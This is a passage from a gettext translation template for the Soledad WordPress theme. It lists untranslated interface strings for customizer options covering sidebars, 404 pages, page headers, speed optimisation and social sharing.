#: inc/customizer/config/sections/penci_section_standard_classic_section.php:167
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:530
#: inc/options/framework/fields/typography/typography.php:174
msgid "Justify"
msgstr ""

#: inc/customizer/config/sections/penci_section_other_layouts_section.php:191
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:522
#: inc/js_composer/soledad_vc.php:752
#: inc/template-builder/archive-elements/posts.php:554
msgid "Align \"Read more\" Button"
msgstr ""

#: inc/customizer/config/sections/penci_section_other_layouts_section.php:203
#: inc/customizer/config/sections/penci_section_spage_general_section.php:129
#: inc/customizer/config/sections/penci_section_spost_general_section.php:603
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:501
#: inc/js_composer/soledad_vc.php:741
#: inc/template-builder/archive-elements/posts.php:531
msgid "Share Box Alignment"
msgstr ""

#: inc/customizer/config/sections/penci_section_other_layouts_section.php:204
msgid "This option does apply for some Post Styles, not all"
msgstr ""

#: inc/customizer/config/sections/penci_section_other_layouts_section.php:217
#: inc/customizer/config/sections/penci_section_standard_classic_section.php:126
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:241
#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:310
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:345
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:548
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:502
#: inc/js_composer/shortcodes/small_list/settings.php:366
#: inc/js_composer/soledad_vc.php:365 inc/js_composer/soledad_vc.php:769
#: inc/template-builder/archive-elements/posts.php:349
#: inc/template-builder/archive-elements/posts.php:586
msgid "Custom Excerpt Length"
msgstr ""

#: inc/customizer/config/sections/penci_section_other_layouts_section.php:237
msgid "Custom Image Width on List Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_other_layouts_section.php:256
msgid "Custom Image Width on Small List Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_select_share_section.php:14
msgid "Enable Share Selection Text  "
msgstr ""

#: inc/customizer/config/sections/penci_section_select_share_section.php:22
msgid "Enable Share Services  "
msgstr ""

#: inc/customizer/config/sections/penci_section_select_share_section.php:27
msgid "LikedIn"
msgstr ""

#: inc/customizer/config/sections/penci_section_select_share_section.php:30
msgid "Copy Button"
msgstr ""

#: inc/customizer/config/sections/penci_section_select_share_section.php:35
#: inc/social-counter/admin-options.php:79
msgid "Facebook App ID"
msgstr ""

#: inc/customizer/config/sections/penci_section_select_share_section.php:40
msgid ""
"When you use \"Facebook\" share text, it required an Facebook APP ID to make "
"it works. You can <a target=\"_blank\" href=\"https://developers.facebook."
"com/apps\">get it here</a>."
msgstr ""

#: inc/customizer/config/sections/penci_section_select_share_section.php:63
msgid "Selection Text Background Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_select_share_section.php:69
msgid "Selection Text Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_sidebar_colors_section.php:7
msgid "Background Color for Boxed Sidebar Styles"
msgstr ""

#: inc/customizer/config/sections/penci_section_sidebar_colors_section.php:14
msgid "Borders Color for Boxed Sidebar Styles"
msgstr ""

#: inc/customizer/config/sections/penci_section_sidebar_colors_section.php:21
msgid "Sidebar Widget Heading Background Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_sidebar_colors_section.php:28
msgid "Sidebar Widget Heading Background Outer Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_sidebar_colors_section.php:42
msgid "Sidebar Widget Heading Border Outer Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_sidebar_colors_section.php:49
msgid "Custom Color for Border Bottom on Widget Heading Style 5, 10, 11, 12"
msgstr ""

#: inc/customizer/config/sections/penci_section_sidebar_colors_section.php:70
msgid "Custom Color for Background Shapes Widget Heading Styles 11, 12, 13"
msgstr ""

#: inc/customizer/config/sections/penci_section_sidebar_colors_section.php:98
msgid "Sidebar Widget Heading Text Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_sidebar_fsize_section.php:7
msgid "Font Size for Sidebar Widget Heading"
msgstr ""

#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:6
#: inc/elementor/modules/penci-sidebar/widgets/penci-sidebar.php:54
msgid "Select Sidebar Style"
msgstr ""

#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:11
#: inc/elementor/modules/penci-sidebar/widgets/penci-sidebar.php:60
msgid "Boxed Whole Sidebar"
msgstr ""

#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:12
#: inc/elementor/modules/penci-sidebar/widgets/penci-sidebar.php:61
msgid "Boxed Widgets on Sidebar"
msgstr ""

#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:18
msgid "Disable Boxed on \"Custom HTML\" widget?"
msgstr ""

#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:20
msgid ""
"This option just applies on \"Custom HTML\" widget & you've selected sidebar "
"style is \"Boxed Widgets\""
msgstr ""

#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:27
#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:54
msgid "Custom Padding Value on Boxed Sidebar Styles"
msgstr ""

#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:60
msgid "Select Borders Type on Sidebar Boxed Styles"
msgstr ""

#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:62
msgid ""
"Some types need to adjust the borders width below to a minimum of 4px to see "
"how it works."
msgstr ""

#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:65
msgid "Default ( Solid )"
msgstr ""

#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:69
#: inc/options/framework/fields/border/border.php:57
msgid "Groove"
msgstr ""

#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:70
msgid "Ridge"
msgstr ""

#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:71
#: inc/options/framework/fields/border/border.php:55
msgid "Inset"
msgstr ""

#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:72
#: inc/options/framework/fields/border/border.php:56
msgid "Outset"
msgstr ""

#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:79
msgid "Custom Borders Width on Sidebar Boxed Styles"
msgstr ""

#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:97
msgid "Custom Sidebar Width"
msgstr ""

#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:117
msgid ""
"This option will override the sidebar width set by % above. Default is 340px."
msgstr ""

#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:118
msgid "Custom Sidebar Width in Pixel"
msgstr ""

#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:137
msgid "Sidebar Width on Two Sidebars Layout"
msgstr ""

#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:157
msgid ""
"This option will override the sidebar width set by % above. Default is 300px."
msgstr ""

#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:158
msgid "Sidebar Width on Two Sidebars Layout in Pixel"
msgstr ""

#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:177
msgid "Space Between Sidebar & Content"
msgstr ""

#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:225
msgid "Remove Border Bottom on the list in Widgets"
msgstr ""

#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:226
msgid ""
"This option will remove the border-bottom on widgets: Soledad Latest Posts, "
"Soledad Popular Posts, Categories,..."
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_404_section.php:15
msgid "404 Page Template"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_404_section.php:16
msgid "Select the page you've buit with the Elementor."
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_404_section.php:22
msgid "404 Custom Main Image"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_404_section.php:28
msgid "Remove Line Below Main Image"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_404_section.php:35
msgid "404 Custom Message Text"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_404_section.php:42
msgid "Hide Search Form"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_404_section.php:49
msgid "Hide \"BACK TO HOME PAGE\""
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_404_section.php:56
msgid "Font Size for Message Text"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_404_section.php:75
msgid "Font Size for Text on Search Form"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_404_section.php:94
msgid "Font Size for \"Back To Homepage\""
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_colors_section.php:7
msgid "Page Title Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_colors_section.php:14
msgid "\"Share\" Text Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_colors_section.php:21
msgid "Share Icons Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_colors_section.php:28
msgid "Share Icons Hover Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_colors_section.php:40
#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:668
#: inc/elementor/base/base-widget.php:541
#: inc/elementor/modules/penci-about-me/widgets/penci-about-me.php:239
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:700
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1422
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:886
#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:475
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:562
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:565
#: inc/elementor/modules/penci-open-hour/widgets/penci-open-hour.php:148
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:1027
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:320
#: inc/js_composer/inc/vc-params-helper.php:651
#: inc/js_composer/shortcodes/big_grid/settings.php:542
#: inc/js_composer/shortcodes/big_grid/settings.php:1010
#: inc/meta-box/register/page.php:501
#: inc/template-builder/single-elements/relatedpost.php:450
msgid "Title Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_colors_section.php:41
#: inc/elementor/modules/penci-about-me/widgets/penci-about-me.php:255
#: inc/elementor/modules/penci-block-heading-title/widgets/penci-block-heading-title.php:288
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1368
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:1016
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:1048
#: inc/meta-box/register/page.php:508
#: inc/template-builder/archive-elements/posts.php:1140
#: inc/template-builder/archive-elements/posts.php:1187
msgid "Line Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_colors_section.php:42
#: inc/customizer/config/sections/pencidesign_general_colors_section.php:60
#: inc/meta-box/register/page.php:515
msgid "Breadcrumbs Text Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_colors_section.php:43
#: inc/meta-box/register/page.php:522
msgid "Breadcrumbs Hover Text Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_colors_section.php:63
msgid "Color for Line Above the Message Text"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_colors_section.php:70
msgid "Message Text Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_colors_section.php:77
#: inc/customizer/config/sections/pencidesign_logo_header_colors_section.php:286
msgid "Search Form Text Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_colors_section.php:91
msgid "\"Back To Homepage\" Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_general_section.php:6
msgid "Page Default Template Layout"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_general_section.php:8
msgid ""
"Check <a class=\"wp-customizer-link\" target=\"_blank\" href=\"https://"
"soledad.pencidesign.net/soledad-document/images/template.png\">this image</"
"a> to know how to change Template of a page."
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_general_section.php:11
msgid "No Sidebar with Container"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_general_section.php:12
msgid "No Sidebar with Smaller Container Width"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_general_section.php:13
msgid "Page with Right Sidebar"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_general_section.php:14
msgid "Page with Left Sidebar"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_general_section.php:15
msgid "Page with Two Sidebars"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_general_section.php:22
msgid "Custom Width for \"Page No Sidebar with Smaller Container Width\""
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_general_section.php:41
msgid "Hide Featured Image Auto Appears"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_general_section.php:48
msgid "Hide Page Titles"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_general_section.php:55
msgid "Disable Uppercase on Page Titles"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_general_section.php:68
msgid "Font Size for Page Titles"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_general_section.php:99
msgid "Hide Share Buttons"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_general_section.php:114
#: inc/customizer/config/sections/penci_section_spost_general_section.php:586
msgid "Share Box Style"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_general_section.php:121
#: inc/customizer/config/sections/penci_section_spost_general_section.php:595
msgid "Disable Social Share Plus Button"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_general_section.php:132
#: inc/customizer/config/sections/penci_section_spost_general_section.php:606
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:185
msgid "Default Theme Style"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_general_section.php:141
msgid "Font Size for \"Share\" Text"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_general_section.php:161
#: inc/js_composer/inc/vc-params-helper.php:1252
msgid "Font Size for Social Share Icons"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_general_section.php:180
msgid "Hide Comments"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_general_section.php:187
#: inc/meta-box/register/page.php:182
msgid "Enable Header Transparent"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_general_section.php:194
msgid "Sidebar for Pages"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_general_section.php:196
msgid "If sidebar your choice is empty, will display Main Sidebar."
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_general_section.php:203
msgid "Sidebar Left for Pages"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_general_section.php:205
msgid ""
"If sidebar your choice is empty, will display Main Sidebar Left. This option "
"just apply when you use 2 sidebars for Pages"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_header_section.php:6
msgid "Enable Page Header for Pages"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_header_section.php:12
msgid "Background Image for Page Header"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_header_section.php:19
msgid "Hide Line Below Title"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_header_section.php:26
msgid "Hide Breadcrumbs"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_header_section.php:33
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:650
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:389
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:873
#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:47
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:199
#: inc/js_composer/shortcodes/big_grid/settings.php:520
#: inc/js_composer/shortcodes/custom_sliders/settings.php:129
#: inc/js_composer/shortcodes/fancy_heading/settings.php:17
#: inc/js_composer/shortcodes/pc_archive_description/settings.php:17
#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:79
#: inc/js_composer/shortcodes/pc_single_meta/settings.php:17
#: inc/js_composer/shortcodes/pc_single_meta_field/settings.php:48
#: inc/js_composer/shortcodes/pc_single_taxonomy/settings.php:62
#: inc/meta-box/register/page.php:366
#: inc/options/framework/fields/typography/typography.php:168
#: inc/template-builder/archive-elements/description.php:41
#: inc/template-builder/single-elements/featured-overlay.php:135
#: inc/template-builder/single-elements/taxonomy.php:86
msgid "Text Align"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_header_section.php:45
msgid ""
"By default, container width for page header will follow the container width "
"for header"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_header_section.php:64
#: inc/meta-box/register/page.php:391
msgid "Padding top"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_header_section.php:83
msgid "Padding Bottom"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_header_section.php:102
msgid "Turn Off Uppercase for Title"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_header_section.php:109
msgid "Custom Padding Bottom for Page Title"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_header_section.php:136
msgid "Custom Margin Bottom for Page Title"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_header_section.php:143
msgid "Font Size for Page Title"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_header_section.php:162
#: inc/meta-box/register/page.php:422
msgid "Font Weight For Title"
msgstr ""

#: inc/customizer/config/sections/penci_section_spage_header_section.php:184
msgid "Font Size for Breadcrumb on Page Header"
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_css_section.php:6
msgid "Render Customizer CSS Method"
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_css_section.php:8
msgid ""
"Render Customizer CSS in a separate file can help you to improve performance "
"dramatically."
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_css_section.php:11
msgid "Inline CSS"
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_css_section.php:12
msgid "Separate CSS File"
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_css_section.php:18
msgid "Regenerate CSS File"
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_css_section.php:32
msgid "Remove Gutenberg Styles"
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_css_section.php:33
msgid ""
"Use with caution. This will remove styles for Gutenberg editor from the "
"<head> - only activate it if your website users using the Classic Editor"
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_css_section.php:41
msgid "Enable Optimize CSS"
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_css_section.php:42
msgid ""
"You need to check to this option to make all optimize CSS options below works"
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_css_section.php:49
msgid "Minify All CSS"
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_css_section.php:50
msgid "Minify CSS to reduced the CSS size."
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_css_section.php:57
msgid "Inline Optimized CSS"
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_css_section.php:58
msgid ""
"Inline the CSS to prevent flash of unstyled content. Highly recommended."
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_css_section.php:65
msgid "Optimize Google Fonts"
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_css_section.php:66
msgid "Add preconnect hints and add display swap for Google Fonts."
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_css_section.php:73
msgid "Inline Google Fonts CSS"
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_css_section.php:74
msgid ""
"Inline the Google Fonts CSS for a big boost on FCP and slight on LCP on "
"mobile. Highly recommended."
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_css_section.php:81
msgid "Delay Loading Google Fonts"
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_css_section.php:82
msgid "It can helps you reduce the FCP & LCP for Core Web Vitals."
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_css_section.php:89
msgid "Disable Delay Loading Icon Fonts"
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_css_section.php:96
msgid "Exclude Stylesheets from Optimize CSS"
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_css_section.php:97
msgid ""
"Enter one per line to exclude certain CSS files from this optimizations. "
"Examples: <strong>id:my-css-id</strong> OR <strong>a-part-from-file-url</"
"strong>"
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_css_section.php:105
msgid "Create Critical CSS?"
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_css_section.php:106
msgid ""
"Remove Unused CSS to reduce the loading time, all other CSS will be delayed "
"to loads until user interaction."
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_css_section.php:113
msgid "Exclude Stylesheets from Remove Unused CSS"
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_css_section.php:114
msgid ""
"Enter one per line to exclude certain CSS files from this optimizations. It "
"won't remove the Unused CSS from those stylesheets. Examples: <strong>id:my-"
"css-id</strong> OR <strong>a-part-from-file-url</strong>"
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_css_section.php:121
msgid "Always Keep Selectors"
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_css_section.php:122
msgid ""
"Enter one per line. Partial or full matches for selectors (if any of these "
"keywords found, the selector will be kept). Examples: .myclass"
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_css_section.php:133
msgid "Clear Critical CSS Cache"
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_css_section.php:134
#, php-format
msgid ""
"<strong>Critical CSS Cache Files:</strong> <span class=\"count\">%1$d</span>"
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_general_section.php:6
msgid "Activate optimize CSS/JS for logged in users?"
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_general_section.php:13
msgid "Disable Emoji and Smilies"
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_general_section.php:20
msgid "Remove query strings from static resource"
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_general_section.php:21
msgid "Remove query strings for non-login & non-administrator users"
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_general_section.php:28
msgid "Remove wlwmanifest Link"
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_general_section.php:29
msgid "If you do not use Windows Live Writer, you can disable it."
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_general_section.php:36
msgid "Remove XML-RPC and RSD Link"
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_general_section.php:37
msgid ""
"Check <a class=\"wp-customizer-link\" href=\"https://codex.wordpress.org/XML-"
"RPC_Support\" target=\"_blank\">this post</a> and <a class=\"wp-customizer-"
"link\" target=\"_blank\" href=\"https://developer.wordpress.org/reference/"
"functions/rsd_link/\">this post</a> to understand what is it. In most cases, "
"its not needed, so if you dont need it, you can remove it."
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_general_section.php:43
msgid "Lazyload Images"
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_general_section.php:45
msgid ""
"This theme supports lazyload images from itself. But, if you want to use "
"lazyload images from another plugin - let disable the lazyload images below "
"to get it works. But, If you want to use the optimise speed features from "
"our theme, using the lazy load images feature from our theme is required."
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_general_section.php:51
msgid "Delay all images loading in the first screen to optimize LCP value"
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_general_section.php:58
msgid "Disable LazyLoad Images on Category Mega Menu"
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_general_section.php:65
msgid "Disable Lazy Load Images on Sliders"
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_general_section.php:72
msgid "Disable Lazyload Images on All Posts Layouts & Widgets"
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_general_section.php:79
msgid "Disable Lazyload for Featured Image on Single Posts/Pages"
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_general_section.php:86
msgid "Disable Lazyload Images on Single Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_general_section.php:93
msgid "Disable Lazyload for All Iframes"
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_general_section.php:95
msgid "Note that: Lazyload iframes just apply when you activate optimize CSS"
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_general_section.php:102
msgid "Exclude Custom CSS Classes from Lazyload"
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_general_section.php:103
msgid ""
"Enter one per line to exclude certain CSS class from this optimizations OR a "
"part of image/iframe URL. Examples: <strong>my-css-class</strong>"
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_html_section.php:6
msgid "Minify HTML"
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_html_section.php:7
msgid ""
"Minify HTML won't apply for admin users logged in, so let check how it works "
"without logged in."
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_javascript_section.php:6
msgid "Minify JS from the Theme"
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_javascript_section.php:13
msgid "Remove jQuery Migrate"
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_javascript_section.php:21
msgid "Delay Javascript Execution"
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_javascript_section.php:22
msgid ""
"Delay execution of the targeted JS files until user interaction ( move "
"mouse, click, scroll, touch,... )."
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_javascript_section.php:29
msgid "Delay Google Ads"
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_javascript_section.php:30
msgid "Delay Google Adsense until first interaction."
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_javascript_section.php:74
msgid "Exclude Scripts from Delay Execution"
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_javascript_section.php:75
msgid ""
"Enter one per line to exclude certain scripts from this optimizations, you "
"can use ids of the scripts or a part from src attr from the scripts.<br/"
">Examples:"
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_javascript_section.php:82
msgid "Load deferred for JS files from the theme"
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_javascript_section.php:84
msgid ""
"This option will help you add defer='defer' attr to JS files from the theme"
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_javascript_section.php:90
msgid "Manually add JS name(s) to load defer=\"defer\""
msgstr ""

#: inc/customizer/config/sections/penci_section_speed_javascript_section.php:92
msgid ""
"You can manage to add JS you want to load defer='defer' here, use JS name(s) "
"& separated by commas.<br>Example: <strong>js-name-a, js-name-b</"
"strong><br><strong>The JS name</strong> is $handle string use inside <a "
"class='wp-customizer-link' href='https://developer.wordpress.org/reference/"
"functions/wp_enqueue_script/' target='_blank'>wp_enqueue_script</a> function"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_autoload_section.php:6
msgid "Enable Infinity Scrolling Load Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_autoload_section.php:14
msgid "Load Posts Type"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_autoload_section.php:19
msgid "Previous Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_autoload_section.php:20
msgid "Next Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_autoload_section.php:21
msgid "Previous Posts has Same Categories"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_autoload_section.php:22
msgid "Next Posts has Same Categories"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_autoload_section.php:23
msgid "Previous Posts has Same Tags"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_autoload_section.php:24
msgid "Next Posts has Same Tags"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_autoload_section.php:31
msgid "Exclude Specific Posts from Loads"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_autoload_section.php:33
msgid ""
"Exclude Posts by ID Separated by the comma. E.g: 12, 22, 335. You can check "
"<a class=\"wp-customizer-link\" href=\"https://pagely.com/blog/find-post-id-"
"wordpress/\" target=\"_blank\">this guide</a> to know how to find the ID of "
"a post"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_autoload_section.php:40
msgid "Add Google Adsense/Custom HTML code Between Posts When Load Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_autoload_section.php:50
msgid "Custom Color for Loading Icon"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:7
msgid "Single Categories Accent Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:14
#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:393
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:612
#: inc/customizer/config/sections/pencidesign_general_search_page_section.php:155
#: inc/customizer/config/sections/pencidesign_logo_header_colors_section.php:195
#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:715
#: inc/elementor/modules/penci-news-ticker/widgets/penci-news-ticker.php:312
#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:396
#: inc/js_composer/inc/vc-params-helper.php:990
#: inc/js_composer/inc/vc-params-helper.php:1274
#: inc/js_composer/inc/vc-params-helper.php:1501
#: inc/js_composer/inc/vc-params-helper.php:1749
#: inc/js_composer/shortcodes/featured_slider/settings.php:281
#: inc/js_composer/shortcodes/featured_slider/settings.php:342
#: inc/js_composer/shortcodes/news_ticker/settings.php:221
#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:511
#: inc/js_composer/shortcodes/posts_slider/settings.php:96
#: inc/js_composer/shortcodes/recent_posts/settings.php:265
#: inc/js_composer/shortcodes/small_list/settings.php:558
msgid "Post Title Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:21
msgid "Post SubTitle Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:32
msgid "Post Title Color for Template Style 5, 6, 8"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:33
msgid "Post SubTitle Color for Template Style 5, 6, 8"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:34
msgid "Categories Color for Template Style 5, 6, 8"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:35
